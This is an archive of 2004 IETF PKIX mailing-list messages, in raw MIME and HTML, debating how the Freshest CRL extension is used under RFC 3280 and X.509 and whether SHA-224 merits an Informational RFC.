  <p class="MsoNormal"><font face="&#44404;&#47548;" color="navy" size="2"><span
 style="font-size: 10pt; font-family: Gulim; color: navy;" lang="EN-US">&nbsp;</span></font></p>
  <p class="MsoNormal"><font face="&#44404;&#47548;" color="navy" size="2"><span
 style="font-size: 10pt; font-family: Gulim; color: navy;" lang="EN-US">Because
of replace
attack of CRL, you should use this extension on both of them.</span></font></p>
  <p class="MsoNormal"><font face="&#44404;&#47548;" color="navy" size="2"><span
 style="font-size: 10pt; font-family: Gulim; color: navy;" lang="EN-US">This
case is
very similar to the case of CRL Distribution Point (on Cert) and
Issuing
Distribution Point (on CRL).</span></font></p>
  </div>
</blockquote>
Actually, the FreshestCRL extension works the same way as the
cRLDistrubutionPoints extension.&nbsp; That is, when the FreshestCRL
extension appears in a certificate the CRL must have a matching
issuingDistributionPoint, where the matching is done in the same way as
if a cRLDistrubutionPoints were being used in the certificate.&nbsp; RFC
3280 states that the FreshestCRL extension should only be used to point
to delta-CRLs, but X.509 does not impose this restriction.&nbsp; X.509
allows the FreshestCRL extension to be used in any way that the
cRLDistrubutionPoints can be used.<br>
<br>
The use of a FreshestCRL extension in a CRL is more tricky, since this
would seem to involve comparing the FreshestCRL extension in one CRL to
the issuingDistributionPoint extension in another CRL (presumably a
corresponding delta-CRL).&nbsp; The RFC 3280 simplifies this by stating that
when the FreshestCRL extension appears in a CRL, it should only contain
the distribution point name, which acts as a pointer to a delta-CRL.&nbsp;
RFC 3280 further requires that the delta-CRL contain the same
issuingDistributionPoint field as the corresponding complete for scope
CRL.&nbsp; This allows for the FreshestCRL extension in the CRL to only act
as a pointer since the issuingDistribuionPoint extension in the
delta-CRL can be compared to the cRLDistributionPoint extension in the
certificate.<br>
<br>
Dave<br>
</body>
</html>

--------------030307050703050102080604--

Date: Tue, 30 Mar 2004 21:55:02 -0800
From: Ed Gerck <[email-masked]>
To: Santosh Chokhani <[email-masked]>
CC: [email-masked]
Subject: Re: Current status of CRL validation ?
Sender: [email-masked]

 

Cheers,
Ed Gerck

From: "Santosh Chokhani" <[email-masked]>
To: [email-masked]
Subject: Re: Current status of CRL validation ?
Date: Tue, 30 Mar 2004 23:18:27 -0400
Sender: [email-masked]

> [1] http://nma.com/mcg-mirror/cert.htm

Date: Tue, 30 Mar 2004 15:52:25 -0800
From: Ed Gerck <[email-masked]>
To: [email-masked]
Subject: Re: Current status of CRL validation ?
Sender: [email-masked]

Julien,

Cheers,
Ed Gerck

Date: Tue, 30 Mar 2004 14:14:47 -0800
To: [email-masked]
From: Paul Hoffman / IMC <[email-masked]>
Subject: RE: WG Last Call: SHA-224
Sender: [email-masked]

At 4:35 PM -0500 3/30/04, Alice Sturgeon wrote:
>My colleague Bob Jueneman and I have been following this thread with great
>interest and some concern, the latter already reflected in the thread,
>Paul's post below and some of today's more recent ones.
>
>We agree with Paul's views generally on this subject, in terms of the
>usefulness of SHA-224 and the potential impact of its standardization.

Errr, that's not what I said. The last call for this document 
explicitly said that it is expected to be an Informational RFC. 
Informational RFCs have absolutely no standards values. I see no 
problem with the publication of this document as an Informational RFC 
as long as it contains guidance to protocol developers.

>Its sole purpose
>seems to be to fine-tune an "impedance match" with a triple-DES key, when
>triple-DES itself is effectively passe and obsolete, notwithstanding the
>fact that many applications still use it.

TripleDES is neither passé nor obsolete in the IETF. New security 
standards such as IKEv2 from the IPsec WG are mandating it.

>Standardization groups need to remember that there is a cost, often
>considerable, to adding features that someone thinks are needed (or simply
>that someone thinks are cool), and that, at the end of the day, are not used
>in sufficient volume to warrant these costs, of standardization, enabling
>interoperability among all the parts.

Fully agree. However, the likelihood that someone will misunderstand 
how to truncate a value, particularly when the specification document 
has multiple easy-to-read test vectors, is quite low.

>This inevitably leads to more and more bloated code, more and more potential
>errors, and hence more opportunities for security flaws, etc. And in the
>case of SHA-224 all of this is done to save 32 bytes, which a protocol
>designer could do themselves if they thought it was really, really
>important.

At least I'm not the only one who says "32 bytes" when the actual 
amount is "32 bits". :-) And, no, we don't want protocol designers to 
do it themselves, given that protocols often interact. That's why we 
have Informational RFCs that describe algorithms such as this.

>But in addition to the problem of bloated code, there is a much more serious
>issue of interoperability testing, because for every new "feature" of this
>type there is a combinatoric* explosion of interfaces to be tested.  That in
>turn drives up the cost of the product, and inescapably drives down the
>quality, for there are never sufficient testing resources to go around.

A hash function has one input and one output. Testing it is rather 
easy, particularly compared to functions with multiple inputs, 
multiple outputs, or structured inputs and/or outputs. And, again, 
this document has worked-out test vectors.

>That's why we oppose the standardization of SHA-224, or the use of it in any
>IETF protocols, including the ANSI X9.82 Random Number Generation standard
>currently being developed.

If you are worried about it being standardized in the IETF, don't be: 
it is meant to be an Informational RFC. If you want to prevent its 
use in any IETF protocol, you need to send that message to the WGs 
working on those protocols. For grins, you might send messages to WGs 
that are working on protocols mandating TripleDES and tell them that 
TripleDES is passé and obsolete.

>Having gone this far, we might also question the need for AES-192, SHA-384,
>or the corresponding strength elliptic curves as well.  From the timing data
>that we've seen, none offers any great savings in time, and in our view the
>differences in space are hardly worth it.

See previous comment. You might as well start all the flame wars at once.

--Paul Hoffman, Director
--Internet Mail Consortium

From: "Alice Sturgeon" <[email-masked]>
To: "Paul Hoffman / IMC" <[email-masked]>, "Tim Polk" <[email-masked]>, <[email-masked]>
Subject: RE: WG Last Call: SHA-224
Date: Tue, 30 Mar 2004 16:35:59 -0500
Importance: Normal
Sender: [email-masked]

Hi Paul, Tim, Russ et al.,

My colleague Bob Jueneman and I have been following this thread with great
interest and some concern, the latter already reflected in the thread,
Paul's post below and some of today's more recent ones.

We agree with Paul's views generally on this subject, in terms of the
usefulness of SHA-224 and the potential impact of its standardization.

We are strongly opposed to standardizing SHA-224, and at present have no
plans to implement it even if it does become a standard.  It seems highly
unlikely that 32 bits would make a substantial difference, even in a
restricted bandwidth environment.  And because the SHA-224 is simply a
truncation of SHA-256, it certainly isn't saving any time.  Its sole purpose
seems to be to fine-tune an "impedance match" with a triple-DES key, when
triple-DES itself is effectively passe and obsolete, notwithstanding the
fact that many applications still use it.

Standardization groups need to remember that there is a cost, often
considerable, to adding features that someone thinks are needed (or simply
that someone thinks are cool), and that, at the end of the day, are not used
in sufficient volume to warrant these costs, of standardization, enabling
interoperability among all the parts.

It sometimes seems that, when an RFP comes up for bid, the race is on to see
who can offer the most features and is compliant with the many standards
that are referenced.  Unfortunately, in a lot of cases neither the RFP
preparers nor the award committee are experts on the fine points of the
standards, and so they simply look at the list of standards and apply a
check-box score to the results.

This inevitably leads to more and more bloated code, more and more potential
errors, and hence more opportunities for security flaws, etc. And in the
case of SHA-224 all of this is done to save 32 bytes, which a protocol
designer could do themselves if they thought it was really, really
important.

But in addition to the problem of bloated code, there is a much more serious
issue of interoperability testing, because for every new "feature" of this
type there is a combinatoric* explosion of interfaces to be tested.  That in
turn drives up the cost of the product, and inescapably drives down the
quality, for there are never sufficient testing resources to go around.

That's why we oppose the standardization of SHA-224, or the use of it in any
IETF protocols, including the ANSI X9.82 Random Number Generation standard
currently being developed.

Having gone this far, we might also question the need for AES-192, SHA-384,
or the corresponding strength elliptic curves as well.  From the timing data
that we've seen, none offers any great savings in time, and in our view the
differences in space are hardly worth it.

As Paul says, these trains may have already left the station but just to let
you know that we jumped off.

(*  Word thinks that "combinatoric" is not a word.  But Google thinks that
it is, and informs you that you can buy one on eBay! :) )

Alice Sturgeon

System Policy Architect
SPYRUS

Chair, Canadian Advisory Committee - IT Security
ISO/IEC JTC 1/SC 27

Phone:  613-232-2350
Cell:  613-291-0331

-----Original Message-----
From: [email-masked] [mailto:[email-masked]]On
Behalf Of Paul Hoffman / IMC
Sent: Sunday, March 28, 2004 1:53 PM
To: Tim Polk; [email-masked]
Subject: Re: WG Last Call: SHA-224

At 4:14 PM -0500 3/26/04, Tim Polk wrote:
>This specification will provide a stable reference for the SHA-224
>algorithm, which is needed by several IETF specifications.

In searching the Internet Drafts directory, only four documents even
mention SHA-224:

eastlake-xmldsig-uri: uses it as part of an exhaustive list, not a
requirement

pkix-rsa-pkalgs: uses it as part of an exhaustive list, not a requirement

pkix-sha224: the document in question

smime-cms-rsa-kem: uses it but does not justify why it needs it
instead of SHA-256

The train may have left the station on this one, but it is really
pretty silly. The only possible use is in severely
bandwidth-restricted environments where an extra 32 bytes is
important. None of the documents above discuss any such environments.

It is silly to say that SHA-256 doesn't "match" 112 bits of
encryption strength. There is no disadvantage to having more bits of
randomness, particularly because TripleDES doesn't use 112-bit blocks.

This document would be well-served to have an additional paragraph
explaining that systems that use TripleDES and need a matching hash
algorithm SHOULD use SHA-256, not SHA-224, unless they are in
severely bandwidth-restricted environments.

--Paul Hoffman, Director
--Internet Mail Consortium

Date: Tue, 30 Mar 2004 10:59:21 -0800
To: [email-masked]
From: Paul Hoffman / IMC <[email-masked]>
Subject: Re: WG Last Call: SHA-224
Sender: [email-masked]

At 8:34 AM -0800 3/30/04, todd glassey wrote:
>This is an instance where this protocol should be a part of the IRTF since
>it will likely not be used in production.

Hmmm, not sure where to start here. The IRTF works on items that are 
intended to be used in production. The IETF sometimes works on items 
that never end up in production. There already was evidence that 
others intend to put this in production, making the prediction much 
less likely to be true.

--Paul Hoffman, Director
--Internet Mail Consortium

From: [email-masked] (Peter Gutmann)
To: [email-masked], [email-masked], [email-masked], [email-masked]
Subject: Re: WG Last Call: SHA-224
Date: Wed, 31 Mar 2004 04:52:31 +1200
Sender: [email-masked]

"todd glassey" <[email-masked]> writes:

>This is an instance where this protocol should be a part of the IRTF since it
>will likely not be used in production.

Don't get me wrong, I have no objection to having it as an RFC, but it should
say "We're doing this because it's fun/we have a quota to fill/the mind
control satellites made us/whatever" rather than trying to manufacture a
reason for its existence.  What's wrong with just doing something for the sake
of it?

Peter.

From: "todd glassey" <[email-masked]>
To: "Peter Gutmann" <[email-masked]>, <[email-masked]>, <[email-masked]>
Subject: Re: WG Last Call: SHA-224
Date: Tue, 30 Mar 2004 08:34:16 -0800
Sender: [email-masked]

This is an instance where this protocol should be a part of the IRTF since
it will likely not be used in production.

Todd

----- Original Message ----- 
From: "Peter Gutmann" <[email-masked]>
To: <[email-masked]>; <[email-masked]>
Sent: Monday, March 29, 2004 7:36 PM
Subject: Re: WG Last Call: SHA-224

>
> Jack Lloyd <[email-masked]> writes:
>
> >If someone really want this and wants it RFCized, then fine, I just don't
see
> >the logic behind it.
>
> That's exactly whay I pointed out months ago when it first came up.  It's
not
> useful in any normal Internet protocol that requires key management
because
> they all use the output of a PRF (usually via HMAC), it's not useful in
> signing because they use PKCS #1, but it is going to be pushed through no
> matter what, so we may as well just sit back and..., well, ignore it.  If
the
> RFC were however to admit that "There's no requirement for this in any
> Internet security protocol" (or whatever the text is that gets used for
other
> oddball algorithms that people do RFCs for) it'd be helpful in addressing
> arguments from people who wanted it supported just because it's mentioned
in
> some RFC.
> Peter.

From: [email-masked] (Peter Gutmann)
To: [email-masked], [email-masked]
Subject: Re: WG Last Call: SHA-224
Date: Tue, 30 Mar 2004 15:36:46 +1200
Sender: [email-masked]

Jack Lloyd <[email-masked]> writes:

>If someone really want this and wants it RFCized, then fine, I just don't see
>the logic behind it.

That's exactly whay I pointed out months ago when it first came up.  It's not
useful in any normal Internet protocol that requires key management because
they all use the output of a PRF (usually via HMAC), it's not useful in
signing because they use PKCS #1, but it is going to be pushed through no
matter what, so we may as well just sit back and..., well, ignore it.  If the
RFC were however to admit that "There's no requirement for this in any
Internet security protocol" (or whatever the text is that gets used for other
oddball algorithms that people do RFCs for) it'd be helpful in addressing
arguments from people who wanted it supported just because it's mentioned in
some RFC.

Peter.

Reply-To: <[email-masked]>
From: "Shim Heewon" <[email-masked]>
To: "'Stefan Santesson'" <[email-masked]>
Cc: <[email-masked]>
Subject: RE: Freshest CRL
Date: Tue, 30 Mar 2004 10:52:27 +0900
Organization: ??????(?)
Sender: [email-masked]

This is a multi-part message in MIME format.

------=_NextPart_000_008F_01C41645.1907C2B0
Content-Type: text/plain;
	charset="us-ascii"
Content-Transfer-Encoding: 7bit

Of course, both of them are needed Freshest CRL. (Cert and CRL extension)

1.       Using Freshest CRL extension on Certificate, you can find exact URI
to get exact CRL.

2.       Using Freshest CRL extension on CRL (matching on Cert), you can
determine whether this CRL is the correct one among other delta CRLs or not.

Because of replace attack of CRL, you should use this extension on both of
them.

This case is very similar to the case of CRL Distribution Point (on Cert)
and Issuing Distribution Point (on CRL).

  _____  

From: [email-masked] [mailto:[email-masked]] On
Behalf Of Stefan Santesson
Sent: Tuesday, March 30, 2004 7:06 AM
To: [email-masked]
Subject: Freshest CRL

Is Freshest CRL supposed to be a Certificate extension or a CRL extension?

I have always believed that it was a CRL extension, as defined in RFC 3280
section 5.2.6:

5.2.6  Freshest CRL (a.k.a. Delta CRL Distribution Point)

   The freshest CRL extension identifies how delta CRL information for this
complete CRL is obtained.

However,

In X.509, this extension is defined a s a certificate extension only in
section 8.6.2.6

8.6.2.6     Freshest CRL extension

The freshest CRL extension shall be used only as a certificate extension and
may be used in certificates issued to authorities as well as certificates
issued to users. This field identifies the CRL to which a certificate user
should refer to obtain the freshest revocation information (e.g.: latest
dCRL). This field is defined as follows:

Which is correct?

Stefan Santesson

Program Manager, Windows Security

------=_NextPart_000_008F_01C41645.1907C2B0
Content-Type: text/html;
	charset="us-ascii"
Content-Transfer-Encoding: quoted-printable

<html>

<head>
<meta http-equiv=3DContent-Type content=3D"text/html; =
charset=3Dus-ascii">
<meta name=3DGenerator content=3D"Microsoft Word 11 (filtered)">

<style>
<!--
 /* Font Definitions */
 @font-face
	{font-family:Wingdings;
	panose-1:5 0 0 0 0 0 0 0 0 0;}
@font-face
	{font-family:Batang;
	panose-1:2 3 6 0 0 1 1 1 1 1;}
@font-face
	{font-family:Dotum;
	panose-1:2 11 6 0 0 1 1 1 1 1;}
@font-face
	{font-family:Gulim;
	panose-1:2 11 6 0 0 1 1 1 1 1;}
@font-face
	{font-family:"Wingdings 2";
	panose-1:5 2 1 2 1 5 7 7 7 7;}
@font-face
	{font-family:Tahoma;
	panose-1:2 11 6 4 3 5 4 4 2 4;}
@font-face
	{font-family:Gulim;
	panose-1:2 11 6 0 0 1 1 1 1 1;}
@font-face
	{font-family:Batang;
	panose-1:2 3 6 0 0 1 1 1 1 1;}
@font-face
	{font-family:Dotum;
	panose-1:2 11 6 0 0 1 1 1 1 1;}
 /* Style Definitions */
 p.MsoNormal, li.MsoNormal, div.MsoNormal
	{margin:0cm;
	margin-bottom:.0001pt;
	font-size:12.0pt;
	font-family:"Times New Roman";}
h1
	{margin-top:0cm;
	margin-right:0cm;
	margin-bottom:0cm;
	margin-left:21.25pt;
	margin-bottom:.0001pt;
	text-align:center;
	text-indent:-21.25pt;
	page-break-after:avoid;
	font-size:16.0pt;
	font-family:Arial;}
h2
	{margin-top:0cm;
	margin-right:11.0pt;
	margin-bottom:0cm;
	margin-left:47.35pt;
	margin-bottom:.0001pt;
	text-indent:-47.35pt;
	page-break-after:avoid;
	font-size:14.0pt;
	font-family:Arial;}
h3
	{margin-top:12.0pt;
	margin-right:0cm;
	margin-bottom:3.0pt;
	margin-left:0cm;
	page-break-after:avoid;
	font-size:13.0pt;
	font-family:Arial;}
h4
	{margin-top:9.05pt;
	margin-right:0cm;
	margin-bottom:0cm;
	margin-left:39.7pt;
	margin-bottom:.0001pt;
	text-align:justify;
	text-justify:inter-ideograph;
	text-indent:-39.7pt;
	page-break-after:avoid;
	punctuation-wrap:simple;
	text-autospace:none;
	font-size:10.0pt;
	font-family:"Times New Roman";}
a:link, span.MsoHyperlink
	{color:blue;
	text-decoration:underline;}
a:visited, span.MsoHyperlinkFollowed
	{color:purple;
	text-decoration:underline;}
span.EmailStyle20
	{font-family:Arial;
	color:windowtext;}
span.EmailStyle22
	{font-family:Gulim;
	color:navy;}
@page Section1
	{size:595.3pt 841.9pt;
	margin:3.0cm 2.0cm 3.0cm 2.0cm;}
div.Section1
	{page:Section1;}
 /* List Definitions */
 ol
	{margin-bottom:0cm;}
ul
	{margin-bottom:0cm;}
-->
</style>

</head>

<body lang=3DKO link=3Dblue vlink=3Dpurple>

<div class=3DSection1>

<p class=3DMsoNormal><font size=3D2 color=3Dnavy =
face=3D&#44404;&#47548;><span
lang=3DEN-US style=3D'font-size:10.0pt;font-family:Gulim;color:navy'>Of =
course,
both of them are needed Freshest CRL. (Cert and CRL =
extension)</span></font></p>

<p class=3DMsoNormal =
style=3D'margin-left:38.0pt;text-indent:-18.0pt'><font size=3D2
color=3Dnavy face=3D&#44404;&#47548;><span lang=3DEN-US =
style=3D'font-size:10.0pt;
font-family:Gulim;color:navy'>1.<font size=3D1 face=3D"Times New =
Roman"><span
style=3D'font:7.0pt "Times New =
Roman"'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
</span></font></span></font><font
size=3D2 color=3Dnavy face=3D&#44404;&#47548;><span lang=3DEN-US =
style=3D'font-size:10.0pt;
font-family:Gulim;color:navy'>Using Freshest CRL extension on =
Certificate, you
can find exact URI to get exact CRL.</span></font></p>

<p class=3DMsoNormal =
style=3D'margin-left:38.0pt;text-indent:-18.0pt'><font size=3D2
color=3Dnavy face=3D&#44404;&#47548;><span lang=3DEN-US =
style=3D'font-size:10.0pt;
font-family:Gulim;color:navy'>2.<font size=3D1 face=3D"Times New =
Roman"><span
style=3D'font:7.0pt "Times New =
Roman"'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
</span></font></span></font><font
size=3D2 color=3Dnavy face=3D&#44404;&#47548;><span lang=3DEN-US =
style=3D'font-size:10.0pt;
font-family:Gulim;color:navy'>Using Freshest CRL extension on CRL =
(matching on
Cert), you can determine whether this CRL is the correct one among other =
delta CRLs
or not. </span></font></p>

<p class=3DMsoNormal><font size=3D2 color=3Dnavy =
face=3D&#44404;&#47548;><span
lang=3DEN-US =
style=3D'font-size:10.0pt;font-family:Gulim;color:navy'>&nbsp;</span></fo=
nt></p>

<p class=3DMsoNormal><font size=3D2 color=3Dnavy =
face=3D&#44404;&#47548;><span
lang=3DEN-US =
style=3D'font-size:10.0pt;font-family:Gulim;color:navy'>Because of =
replace
attack of CRL, you should use this extension on both of =
them.</span></font></p>

<p class=3DMsoNormal><font size=3D2 color=3Dnavy =
face=3D&#44404;&#47548;><span
lang=3DEN-US =
style=3D'font-size:10.0pt;font-family:Gulim;color:navy'>This case is
very similar to the case of CRL Distribution Point (on Cert) and Issuing
Distribution Point (on CRL).</span></font></p>

<p class=3DMsoNormal><font size=3D2 color=3Dnavy =
face=3D&#44404;&#47548;><span
lang=3DEN-US =
style=3D'font-size:10.0pt;font-family:Gulim;color:navy'>&nbsp;</span></fo=
nt></p>

<p class=3DMsoNormal><font size=3D2 color=3Dnavy =
face=3D&#44404;&#47548;><span
lang=3DEN-US =
style=3D'font-size:10.0pt;font-family:Gulim;color:navy'>&nbsp;</span></fo=
nt></p>

<div>

<div class=3DMsoNormal align=3Dcenter style=3D'text-align:center'><font =
size=3D3
face=3D"Times New Roman"><span lang=3DEN-US style=3D'font-size:12.0pt'>

<hr size=3D2 width=3D"100%" align=3Dcenter tabindex=3D-1>

</span></font></div>

<p class=3DMsoNormal><b><font size=3D2 face=3DTahoma><span lang=3DEN-US
style=3D'font-size:10.0pt;font-family:Tahoma;font-weight:bold'>From:</spa=
n></font></b><font
size=3D2 face=3DTahoma><span lang=3DEN-US =
style=3D'font-size:10.0pt;font-family:Tahoma'>
[email-masked] [mailto:[email-masked]] =
<b><span
style=3D'font-weight:bold'>On Behalf Of </span></b>Stefan Santesson<br>
<b><span style=3D'font-weight:bold'>Sent:</span></b> Tuesday, March 30, =
2004 7:06 AM<br>
<b><span style=3D'font-weight:bold'>To:</span></b> [email-masked]<br>
<b><span style=3D'font-weight:bold'>Subject:</span></b> Freshest =
CRL</span></font></p>

</div>

<p class=3DMsoNormal><font size=3D3 face=3D"Times New Roman"><span =
lang=3DEN-US
style=3D'font-size:12.0pt'>&nbsp;</span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span lang=3DEN-US =
style=3D'font-size:
10.0pt;font-family:Arial'>Is Freshest CRL supposed to be a Certificate
extension or a CRL extension?</span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span lang=3DEN-US =
style=3D'font-size:
10.0pt;font-family:Arial'>I have always believed that it was a CRL =
extension,
as defined in RFC 3280 section 5.2.6:</span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span lang=3DEN-US =
style=3D'font-size:
10.0pt;font-family:Arial'>&nbsp;</span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span lang=3DEN-US =
style=3D'font-size:
10.0pt;font-family:Arial'>&nbsp;</span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span lang=3DEN-US =
style=3D'font-size:
10.0pt;font-family:Arial'>5.2.6&nbsp; Freshest CRL (a.k.a. Delta CRL
Distribution Point)</span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span lang=3DEN-US =
style=3D'font-size:
10.0pt;font-family:Arial'>&nbsp;</span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span lang=3DEN-US =
style=3D'font-size:
10.0pt;font-family:Arial'>&nbsp;&nbsp; The freshest CRL extension =
identifies
how delta CRL information for this complete CRL is =
obtained.</span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span lang=3DEN-US =
style=3D'font-size:
10.0pt;font-family:Arial'>&nbsp;</span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span lang=3DEN-US =
style=3D'font-size:
10.0pt;font-family:Arial'>&nbsp;</span></font></p>

<p class=3DMsoNormal><b><u><font size=3D2 face=3DArial><span =
lang=3DEN-US
style=3D'font-size:10.0pt;font-family:Arial;font-weight:bold'>However,</s=
pan></font></u></b></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span lang=3DEN-US =
style=3D'font-size:
10.0pt;font-family:Arial'>&nbsp;</span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span lang=3DEN-US =
style=3D'font-size:
10.0pt;font-family:Arial'>In X.509, this extension is defined a s a =
certificate
extension only in section 8.6.2.6</span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span lang=3DEN-US =
style=3D'font-size:
10.0pt;font-family:Arial'>&nbsp;</span></font></p>

<h4><a name=3D"_Toc479042804"></a><a name=3D"_Toc495383879"></a><b><font =
size=3D2
face=3D"Times New Roman"><span lang=3DEN-GB =
style=3D'font-size:10.0pt'>8.6.2.6
&nbsp;&nbsp;&nbsp; Freshest CRL extension</span></font></b></h4>

<p class=3DMsoNormal><font size=3D3 face=3D"Times New Roman"><span =
lang=3DEN-US
style=3D'font-size:12.0pt'>The freshest CRL extension shall be used only =
as a
certificate extension and may be used in certificates issued to =
authorities as
well as certificates issued to users. This field identifies the CRL to =
which a
certificate user should refer to obtain the freshest revocation =
information
(e.g.: latest dCRL). This field is defined as follows:</span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span lang=3DEN-US =
style=3D'font-size:
10.0pt;font-family:Arial'>&nbsp;</span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span lang=3DEN-US =
style=3D'font-size:
10.0pt;font-family:Arial'>&nbsp;</span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span lang=3DEN-US =
style=3D'font-size:
10.0pt;font-family:Arial'>Which is correct?</span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span lang=3DEN-US =
style=3D'font-size:
10.0pt;font-family:Arial'>&nbsp;</span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span lang=3DEN-US =
style=3D'font-size:
10.0pt;font-family:Arial'>&nbsp;</span></font></p>

<div>

<div>

<p class=3DMsoNormal><strong><b><font size=3D3 color=3Dolive =
face=3D"Times New Roman"><span
lang=3DEN-US style=3D'font-size:12.0pt;color:olive'>Stefan =
Santesson</span></font></b></strong></p>

</div>

<div>

<p class=3DMsoNormal><font size=3D2 color=3Dolive face=3DArial><span =
lang=3DEN-US
style=3D'font-size:10.0pt;font-family:Arial;color:olive'>Program =
Manager, Windows
Security</span></font></p>

</div>

</div>

<p class=3DMsoNormal><font size=3D3 face=3D"Times New Roman"><span =
lang=3DEN-US
style=3D'font-size:12.0pt'>&nbsp;</span></font></p>

</div>

</body>

</html>

------=_NextPart_000_008F_01C41645.1907C2B0--

Content-class: urn:content-classes:message
Subject: RE: Freshest CRL
Date: Mon, 29 Mar 2004 23:41:39 +0100
From: "Stefan Santesson" <[email-masked]>
To: <[email-masked]>
Sender: [email-masked]

This is a multi-part message in MIME format.

------=_NextPartTM-000-67ed923d-2eb7-4d6a-831c-c1d78120149c
Content-Type: multipart/alternative;
	boundary="----_=_NextPart_001_01C415DF.1A48DE6D"

------_=_NextPart_001_01C415DF.1A48DE6D
Content-Type: text/plain;
	charset="us-ascii"
Content-Transfer-Encoding: quoted-printable

Just got a response from David Cooper explaining that X.509 was aligned
with RFC 3280 in this issue by DR 278 and that it is now valid to use
this as both Certificate and CRL extension in both specs.

=20

So no reason to respond to this question any more.

=20

/Stefan

________________________________

From: Stefan Santesson=20
Sent: den 29 mars 2004 14:06
To: [email-masked]
Subject: Freshest CRL

=20

Is Freshest CRL supposed to be a Certificate extension or a CRL
extension?

I have always believed that it was a CRL extension, as defined in RFC
3280 section 5.2.6:

=20

=20

5.2.6  Freshest CRL (a.k.a. Delta CRL Distribution Point)

=20

   The freshest CRL extension identifies how delta CRL information for
this complete CRL is obtained.

=20

=20

However,

=20

In X.509, this extension is defined a s a certificate extension only in
section 8.6.2.6

=20

8.6.2.6     Freshest CRL extension

The freshest CRL extension shall be used only as a certificate extension
and may be used in certificates issued to authorities as well as
certificates issued to users. This field identifies the CRL to which a
certificate user should refer to obtain the freshest revocation
information (e.g.: latest dCRL). This field is defined as follows:

=20

=20

Which is correct?

=20

=20

Stefan Santesson

Program Manager, Windows Security

=20

------_=_NextPart_001_01C415DF.1A48DE6D
Content-Type: text/html;
	charset="us-ascii"
Content-Transfer-Encoding: quoted-printable

<html xmlns:v=3D"urn:schemas-microsoft-com:vml" =
xmlns:o=3D"urn:schemas-microsoft-com:office:office" =
xmlns:w=3D"urn:schemas-microsoft-com:office:word" =
xmlns=3D"http://www.w3.org/TR/REC-html40">

<head>
<meta http-equiv=3DContent-Type content=3D"text/html; =
charset=3Dus-ascii">
<meta name=3DGenerator content=3D"Microsoft Word 11 (filtered medium)">
<!--[if !mso]>
<style>
v\:* {behavior:url(#default#VML);}
o\:* {behavior:url(#default#VML);}
w\:* {behavior:url(#default#VML);}
.shape {behavior:url(#default#VML);}
</style>
<![endif]-->
<style>
<!--
 /* Font Definitions */
 @font-face
	{font-family:Tahoma;
	panose-1:2 11 6 4 3 5 4 4 2 4;}
 /* Style Definitions */
 p.MsoNormal, li.MsoNormal, div.MsoNormal
	{margin:0cm;
	margin-bottom:.0001pt;
	font-size:12.0pt;
	font-family:"Times New Roman";}
h3
	{margin-top:12.0pt;
	margin-right:0cm;
	margin-bottom:3.0pt;
	margin-left:0cm;
	page-break-after:avoid;
	font-size:13.0pt;
	font-family:Arial;}
h4
	{margin-top:9.05pt;
	margin-right:0cm;
	margin-bottom:0cm;
	margin-left:39.7pt;
	margin-bottom:.0001pt;
	text-align:justify;
	text-indent:-39.7pt;
	page-break-after:avoid;
	punctuation-wrap:simple;
	text-autospace:none;
	font-size:10.0pt;
	font-family:"Times New Roman";}
a:link, span.MsoHyperlink
	{color:blue;
	text-decoration:underline;}
a:visited, span.MsoHyperlinkFollowed
	{color:purple;
	text-decoration:underline;}
span.EmailStyle17
	{mso-style-type:personal;
	font-family:Arial;
	color:windowtext;}
span.EmailStyle19
	{mso-style-type:personal-reply;
	font-family:Arial;
	color:navy;}
@page Section1
	{size:595.3pt 841.9pt;
	margin:3.0cm 2.0cm 3.0cm 2.0cm;}
div.Section1
	{page:Section1;}
-->
</style>

</head>

<body lang=3DDA link=3Dblue vlink=3Dpurple>

<div class=3DSection1>

<p class=3DMsoNormal><font size=3D2 color=3Dnavy face=3DArial><span =
lang=3DEN-GB
style=3D'font-size:10.0pt;font-family:Arial;color:navy'>Just got a =
response from
David Cooper explaining that X.509 was aligned with RFC 3280 in this =
issue by
DR 278 and that it is now valid to use this as both Certificate and CRL
extension in both specs.<o:p></o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 color=3Dnavy face=3DArial><span =
lang=3DEN-GB
style=3D'font-size:10.0pt;font-family:Arial;color:navy'><o:p>&nbsp;</o:p>=
</span></font></p>

<p class=3DMsoNormal><font size=3D2 color=3Dnavy face=3DArial><span =
lang=3DEN-GB
style=3D'font-size:10.0pt;font-family:Arial;color:navy'>So no reason to =
respond
to this question any more.<o:p></o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 color=3Dnavy face=3DArial><span =
lang=3DEN-GB
style=3D'font-size:10.0pt;font-family:Arial;color:navy'><o:p>&nbsp;</o:p>=
</span></font></p>

<div>

<div>

<div>

<p class=3DMsoNormal><strong><b><font size=3D3 color=3Dolive =
face=3D"Times New Roman"><span
lang=3DEN-GB =
style=3D'font-size:12.0pt;color:olive'>/Stefan</span></font></b></strong>=
<font
size=3D2 color=3Dblack face=3DArial><span lang=3DEN-GB =
style=3D'font-size:10.0pt;
font-family:Arial;color:black'><o:p></o:p></span></font></p>

</div>

</div>

</div>

<div style=3D'border:none;border-left:solid blue 1.5pt;padding:0cm 0cm =
0cm 4.0pt'>

<div>

<div class=3DMsoNormal align=3Dcenter style=3D'text-align:center'><font =
size=3D3
face=3D"Times New Roman"><span lang=3DEN-US style=3D'font-size:12.0pt'>

<hr size=3D2 width=3D"100%" align=3Dcenter tabindex=3D-1>

</span></font></div>

